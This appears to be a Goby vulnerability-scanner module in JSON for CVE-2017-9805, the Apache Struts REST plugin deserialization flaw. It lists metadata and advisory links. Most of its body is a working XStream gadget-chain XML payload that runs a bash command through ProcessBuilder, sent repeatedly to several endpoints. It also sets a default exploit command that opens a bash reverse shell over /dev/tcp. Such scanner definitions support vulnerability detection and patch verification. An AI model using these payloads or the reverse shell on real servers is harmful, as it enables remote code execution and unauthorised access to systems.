{
  "Name": "Apache Struts CVE-2017-9805 Remote Code Execution Vulnerability",
  "Description": "The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads.",
  "Product": "Struts2",
  "Homepage": "http://struts.apache.org/",
  "DisclosureDate": "2017-09-15",
  "Author": "gobysec@gmail.com",
  "FofaQuery": "app=\"Struts2\"",
  "GobyQuery": "app=\"Struts2\"",
  "Level": "3",
  "Impact": "This issue may lead to Remote Code execution.",
  "Recommendation": "",
  "References": [
    "http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html",
    "http://www.securityfocus.com/bid/100609",
    "http://www.securitytracker.com/id/1039263",
    "https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax",
    "https://bugzilla.redhat.com/show_bug.cgi?id=1488482",
    "https://cwiki.apache.org/confluence/display/WW/S2-052",
    "https://lgtm.com/blog/apache_struts_CVE-2017-9805",
    "https://security.netapp.com/advisory/ntap-20170907-0001/",
    "https://struts.apache.org/docs/s2-052.html",
    "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170907-struts2",
    "https://www.exploit-db.com/exploits/42627/",
    "https://www.kb.cert.org/vuls/id/112992",
    "https://nvd.nist.gov/vuln/detail/CVE-2017-9805",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "Name": "AttackType",
      "Type": "select",
      "Value": "goby_shell_linux,shell_cmd"
    },
	{
      "Name": "shell_cmd",
      "Type": "input",
	  "show": "AttackType=shell_cmd",
      "Value": "bash -i >&amp; /dev/tcp/ip/port 0>&amp;1"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
              "OR",
              {
                    "Request": {
						  "set_variable": ["cmd|define|text|echo asdf>asf.txt"],
                          "method": "POST",
                          "uri": "/orders",
                          "follow_redirect": false,
                          "header": {
                                "Upgrade-Insecure-Requests": "1",
                                "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",
                                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
                                "Referer": "http//127.0.0.1/struts2-rest-showcase/orders.xhtml",
                                "Accept-Language": "zh-CN,zh;q=0.8",
                                "Content-Type": "application/xml",
                                "Cookie": "JSESSIONID=23A615808B9471F4A663C12337805003;",
                                "Connection": "close"
                          },
                          "data_type": "text",
                          "data": "<map>\n  <entry>\n    <jdk.nashorn.internal.objects.NativeString>\n      <flags>0</flags>\n      <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\">\n        <dataHandler>\n          <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\n            <is class=\"javax.crypto.CipherInputStream\">\n              <cipher class=\"javax.crypto.NullCipher\">\n                <initialized>false</initialized>\n                <opmode>0</opmode>\n                <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\n                  <iter class=\"javax.imageio.spi.FilterIterator\">\n                    <iter class=\"java.util.Collections$EmptyIterator\"/>\n                    <next class=\"java.lang.ProcessBuilder\">\n                      <command>\n                        <string>bash</string>\n                      <string>-c</string>\n                      <string>{{{cmd}}}</string>\n                      </command>\n                      <redirectErrorStream>false</redirectErrorStream>\n                    </next>\n                  </iter>\n                  <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\n                    <method>\n                      <class>java.lang.ProcessBuilder</class>\n                      <name>start</name>\n                      <parameter-types/>\n                    </method>\n                    <name>foo</name>\n                  </filter>\n                  <next class=\"string\">foo</next>\n                </serviceIterator>\n                <lock/>\n              </cipher>\n              <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\n              <ibuffer></ibuffer>\n              <done>false</done>\n              <ostart>0</ostart>\n              <ofinish>0</ofinish>\n              <closed>false</closed>\n            </is>\n            <consumed>false</consumed>\n          </dataSource>\n          <transferFlavors/>\n        </dataHandler>\n        <dataLen>0</dataLen>\n      </value>\n    </jdk.nashorn.internal.objects.NativeString>\n    <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\n  </entry>\n  <entry>\n    <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n    <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n  </entry>\n</map>\n"
                    },
                    "ResponseTest": {
                          "type": "group",
                          "operation": "AND",
                          "checks": [
                                {
                                      "type": "item",
                                      "variable": "$code",
                                      "operation": "==",
                                      "value": "500",
                                      "bz": ""
                                },
                                {
                                      "type": "item",
                                      "variable": "$body",
                                      "operation": "contains",
                                      "value": "XStreamHandler.toObject",
                                      "bz": ""
                                }
                          ]
                    },
                    "SetVariable": []
              },
              {
                    "Request": {
						  "set_variable": ["cmd|define|text|echo asdf>asf.txt"],
                          "method": "POST",
                          "uri": "/struts2-rest-showcase/orders/3",
                          "follow_redirect": false,
                          "header": {
                                "Upgrade-Insecure-Requests": "1",
                                "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",
                                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
                                "Referer": "http//127.0.0.1/struts2-rest-showcase/orders.xhtml",
                                "Accept-Language": "zh-CN,zh;q=0.8",
                                "Content-Type": "application/xml",
                                "Cookie": "JSESSIONID=23A615808B9471F4A663C12337805003;",
                                "Connection": "close"
                          },
                          "data_type": "text",
                          "data": "<map>\n  <entry>\n    <jdk.nashorn.internal.objects.NativeString>\n      <flags>0</flags>\n      <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\">\n        <dataHandler>\n          <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\n            <is class=\"javax.crypto.CipherInputStream\">\n              <cipher class=\"javax.crypto.NullCipher\">\n                <initialized>false</initialized>\n                <opmode>0</opmode>\n                <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\n                  <iter class=\"javax.imageio.spi.FilterIterator\">\n                    <iter class=\"java.util.Collections$EmptyIterator\"/>\n                    <next class=\"java.lang.ProcessBuilder\">\n                      <command>\n                        <string>bash</string>\n                      <string>-c</string>\n                      <string>{{{cmd}}}</string>\n                      </command>\n                      <redirectErrorStream>false</redirectErrorStream>\n                    </next>\n                  </iter>\n                  <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\n                    <method>\n                      <class>java.lang.ProcessBuilder</class>\n                      <name>start</name>\n                      <parameter-types/>\n                    </method>\n                    <name>foo</name>\n                  </filter>\n                  <next class=\"string\">foo</next>\n                </serviceIterator>\n                <lock/>\n              </cipher>\n              <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\n              <ibuffer></ibuffer>\n              <done>false</done>\n              <ostart>0</ostart>\n              <ofinish>0</ofinish>\n              <closed>false</closed>\n            </is>\n            <consumed>false</consumed>\n          </dataSource>\n          <transferFlavors/>\n        </dataHandler>\n        <dataLen>0</dataLen>\n      </value>\n    </jdk.nashorn.internal.objects.NativeString>\n    <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\n  </entry>\n  <entry>\n    <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n    <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n  </entry>\n</map>\n"
                    },
                    "ResponseTest": {
                          "type": "group",
                          "operation": "AND",
                          "checks": [
                                {
                                      "type": "item",
                                      "variable": "$code",
                                      "operation": "==",
                                      "value": "500",
                                      "bz": ""
                                },
                                {
                                      "type": "item",
                                      "variable": "$body",
                                      "operation": "contains",
                                      "value": "XStreamHandler.toObject",
                                      "bz": ""
                                }
                          ]
                    },
                    "SetVariable": []
              },
              {
                    "Request": {
						  "set_variable": ["cmd|define|text|echo asdf>asf.txt"],
                          "method": "POST",
                          "uri": "/",
                          "follow_redirect": false,
                          "header": {
                                "Upgrade-Insecure-Requests": "1",
                                "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",
                                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
                                "Referer": "http//127.0.0.1/struts2-rest-showcase/orders.xhtml",
                                "Accept-Language": "zh-CN,zh;q=0.8",
                                "Content-Type": "application/xml",
                                "Cookie": "JSESSIONID=23A615808B9471F4A663C12337805003;",
                                "Connection": "close"
                          },
                          "data_type": "text",
                          "data": "<map>\n  <entry>\n    <jdk.nashorn.internal.objects.NativeString>\n      <flags>0</flags>\n      <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\">\n        <dataHandler>\n          <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\n            <is class=\"javax.crypto.CipherInputStream\">\n              <cipher class=\"javax.crypto.NullCipher\">\n                <initialized>false</initialized>\n                <opmode>0</opmode>\n                <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\n                  <iter class=\"javax.imageio.spi.FilterIterator\">\n                    <iter class=\"java.util.Collections$EmptyIterator\"/>\n                    <next class=\"java.lang.ProcessBuilder\">\n                      <command>\n                        <string>bash</string>\n                      <string>-c</string>\n                      <string>{{{cmd}}}</string>\n                      </command>\n                      <redirectErrorStream>false</redirectErrorStream>\n                    </next>\n                  </iter>\n                  <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\n                    <method>\n                      <class>java.lang.ProcessBuilder</class>\n                      <name>start</name>\n                      <parameter-types/>\n                    </method>\n                    <name>foo</name>\n                  </filter>\n                  <next class=\"string\">foo</next>\n                </serviceIterator>\n                <lock/>\n              </cipher>\n              <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\n              <ibuffer></ibuffer>\n              <done>false</done>\n              <ostart>0</ostart>\n              <ofinish>0</ofinish>\n              <closed>false</closed>\n            </is>\n            <consumed>false</consumed>\n          </dataSource>\n          <transferFlavors/>\n        </dataHandler>\n        <dataLen>0</dataLen>\n      </value>\n    </jdk.nashorn.internal.objects.NativeString>\n    <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\n  </entry>\n  <entry>\n    <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n    <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n  </entry>\n</map>\n"
                    },
                    "ResponseTest": {
                          "type": "group",
                          "operation": "AND",
                          "checks": [
                                {
                                      "type": "item",
                                      "variable": "$code",
                                      "operation": "==",
                                      "value": "500",
                                      "bz": ""
                                },
                                {
                                      "type": "item",
                                      "variable": "$body",
                                      "operation": "contains",
                                      "value": "XStreamHandler.toObject",
                                      "bz": ""
                                }
                          ]
                    },
                    "SetVariable": []
              },
              {
                  "Request": {
					  "set_variable": ["cmd|define|text|echo asdf>asf.txt"],
                      "method": "POST",
                      "uri": "/orders",
                      "follow_redirect": false,
                      "header": {
                          "Upgrade-Insecure-Requests": "1",
                          "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",
                          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
                          "Referer": "http//127.0.0.1/struts2-rest-showcase/orders.xhtml",
                          "Accept-Language": "zh-CN,zh;q=0.8",
                          "Content-Type": "application/xml",
                          "Cookie": "JSESSIONID=23A615808B9471F4A663C12337805003;",
                          "Connection": "close"
                      },
                      "data_type": "text",
                      "data": "<map> \n<entry> \n<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\"> <dataHandler> <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\"> <is class=\"javax.crypto.CipherInputStream\"> <cipher class=\"javax.crypto.NullCipher\"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"java.util.Collections$EmptyIterator\"/> <next class=\"java.lang.ProcessBuilder\"> <command> <string>bash</string> <string>-c</string> <string>{{{cmd}}}</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class=\"javax.imageio.ImageIO$ContainsFilter\"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class=\"string\">foo</next> </serviceIterator> <lock/> </cipher> <input class=\"java.lang.ProcessBuilder$NullInputStream\"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> \n</entry> \n</map> "
                  },
                  "ResponseTest": {
                      "type": "group",
                      "operation": "AND",
                      "checks": [
                          {
                              "type": "item",
                              "variable": "$code",
                              "operation": "==",
                              "value": "500",
                              "bz": ""
                          },
                          {
                              "type": "item",
                              "variable": "$body",
                              "operation": "contains",
                              "value": "XStreamHandler.toObject",
                              "bz": ""
                          }
                      ]
                  },
                  "SetVariable": []
              },
              {
                    "Request": {
						  "set_variable": ["cmd|define|text|echo asdf>asf.txt"],
                          "method": "POST",
                          "uri": "/struts2-rest-showcase/orders/3",
                          "follow_redirect": false,
                          "header": {
                                "Upgrade-Insecure-Requests": "1",
                                "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",
                                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
                                "Referer": "http//127.0.0.1/struts2-rest-showcase/orders.xhtml",
                                "Accept-Language": "zh-CN,zh;q=0.8",
                                "Content-Type": "application/xml",
                                "Cookie": "JSESSIONID=23A615808B9471F4A663C12337805003;",
                                "Connection": "close"
                          },
                          "data_type": "text",
                          "data": "<map> \n<entry> \n<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\"> <dataHandler> <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\"> <is class=\"javax.crypto.CipherInputStream\"> <cipher class=\"javax.crypto.NullCipher\"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"java.util.Collections$EmptyIterator\"/> <next class=\"java.lang.ProcessBuilder\"> <command> <string>bash</string> <string>-c</string> <string>{{{cmd}}}</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class=\"javax.imageio.ImageIO$ContainsFilter\"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class=\"string\">foo</next> </serviceIterator> <lock/> </cipher> <input class=\"java.lang.ProcessBuilder$NullInputStream\"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> \n</entry> \n</map> "
                    },
                    "ResponseTest": {
                          "type": "group",
                          "operation": "AND",
                          "checks": [
                                {
                                      "type": "item",
                                      "variable": "$code",
                                      "operation": "==",
                                      "value": "500",
                                      "bz": ""
                                },
                                {
                                      "type": "item",
                                      "variable": "$body",
                                      "operation": "contains",
                                      "value": "XStreamHandler.toObject",
                                      "bz": ""
                                }
                          ]
                    },
                    "SetVariable": []
              },
              {
                    "Request": {
					      "set_variable": ["cmd|define|text|echo asdf>asf.txt"],
                          "method": "POST",
                          "uri": "/",
                          "follow_redirect": false,
                          "header": {
                                "Upgrade-Insecure-Requests": "1",
                                "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",
                                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
                                "Referer": "http//127.0.0.1/struts2-rest-showcase/orders.xhtml",
                                "Accept-Language": "zh-CN,zh;q=0.8",
                                "Content-Type": "application/xml",
                                "Cookie": "JSESSIONID=23A615808B9471F4A663C12337805003;",
                                "Connection": "close"
                          },
                          "data_type": "text",
                          "data": "<map> \n<entry> \n<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\"> <dataHandler> <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\"> <is class=\"javax.crypto.CipherInputStream\"> <cipher class=\"javax.crypto.NullCipher\"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"java.util.Collections$EmptyIterator\"/> <next class=\"java.lang.ProcessBuilder\"> <command> <string>bash</string> <string>-c</string> <string>{{{cmd}}}</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class=\"javax.imageio.ImageIO$ContainsFilter\"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class=\"string\">foo</next> </serviceIterator> <lock/> </cipher> <input class=\"java.lang.ProcessBuilder$NullInputStream\"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> \n</entry> \n</map> "
                    },
                    "ResponseTest": {
                          "type": "group",
                          "operation": "AND",
                          "checks": [
                                {
                                      "type": "item",
                                      "variable": "$code",
                                      "operation": "==",
                                      "value": "500",
                                      "bz": ""
                                },
                                {
                                      "type": "item",
                                      "variable": "$body",
                                      "operation": "contains",
                                      "value": "XStreamHandler.toObject",
                                      "bz": ""
                                }
                          ]
                    },
                    "SetVariable": []
              }
        ],
  "ExploitSteps": null,
  "Tags": [
    "rce"
  ],
  "CVEIDs": [
    "CVE-2017-9805"
  ],
  "CVSSScore": "8.1",
  "AttackSurfaces": {
    "Application": null,
    "Support": ["Struts2"],
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Disable": false
}